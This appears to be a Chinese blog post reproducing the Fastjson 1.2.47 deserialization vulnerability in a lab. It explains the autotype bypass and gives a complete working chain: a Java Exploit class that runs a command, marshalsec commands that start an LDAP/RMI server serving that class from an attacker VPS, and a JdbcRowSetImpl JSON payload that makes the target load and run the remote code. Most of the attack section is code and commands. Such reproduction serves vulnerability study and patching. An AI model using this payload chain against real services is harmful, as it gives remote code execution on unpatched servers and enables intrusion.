fastjson<=1.2.47-反序列化漏洞-命令执行-漏洞复现

2021-02-07 15:18

阅读：720

标签：source pps 内容 data https 服务器系统 08 r2 压缩

漏洞原理

　　Fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。

　　Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，其次，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列化不可信数据时，攻击者可以构造数据，使目标应用的代码执行流程进入特定类的特定setter或者getter方法中，若指定类的指定方法中有可被恶意利用的逻辑（也就是通常所指的“Gadget”），则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中，利用其缓存机制可实现对未开启autotype功能的绕过。

　　漏洞利用如下：

技术图片

影响版本

Fastjson1.2.47以及之前的版本

环境搭建

1、攻击机

IP地址：192.168.214.1

操作系统：windows10

利用工具：火狐游览器、Burp Suite

2、VPS服务器

IP地址：192.168.214.137

操作系统：centos7.4

攻击利用

1、将含有fastjson-1.2.47.jar的demo压缩包解压，布置在靶机的webapps目录下，开启tomcat服务，浏览器能够正常进行访问

技术图片

攻击机能够正常访问靶机的demo。

技术图片

2、将marshalsec-0.0.3-SNAPSHOT-all.jar 和编译好的Exploit.class上传到VPS服务器的网站根目录下

技术图片

使用浏览器可以进行访问或者下载，

技术图片

Exploit.java构造的执行命令内容如下：

 1 import java.io.BufferedReader;
 2 import java.io.InputStream;
 3 import java.io.InputStreamReader;
 4 
 5 public class Exploit{
 6     public Exploit() throws Exception {
 7         Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});//执行命令打开计算器程序
 8         InputStream is = p.getInputStream();
 9         BufferedReader reader = new BufferedReader(new InputStreamReader(is));
10 
11         String line;
12         while((line = reader.readLine()) != null) {
13             System.out.println(line);
14         }
15 
16         p.waitFor();
17         is.close();
18         reader.close();
19         p.destroy();
20     }
21 
22     public static void main(String[] args) throws Exception {
23     }
24 }

然后在VPS服务器上可以使用RMI或者LDAP的服务，将reference result 重定向到web服务器（即文件Exploit.class的存放位置）。

1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999
2 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999

这里我使用的是LDAP服务，毕竟覆盖的jdk版本范围更广，更容易复现漏洞，在网站根目录下使用marshalsec-0.0.3-SNAPSHOT-all.jar工具开启LDAP。

技术图片

3、攻击机上使用火狐游览器访问靶机的demo服务，使用burpsuite截包，构造playload重发包

Playload构造如下：

技术图片

 1 {
 2   "name": {
 3     "@type": "java.lang.Class",
 4     "val": "com.sun.rowset.JdbcRowSetImpl"
 5   },
 6   "x": {
 7     "@type": "com.sun.rowset.JdbcRowSetImpl",
 8     "dataSourceName": "ldap://192.168.214.137:9999/Exploit",
 9     "autoCommit": true
10   }
11 }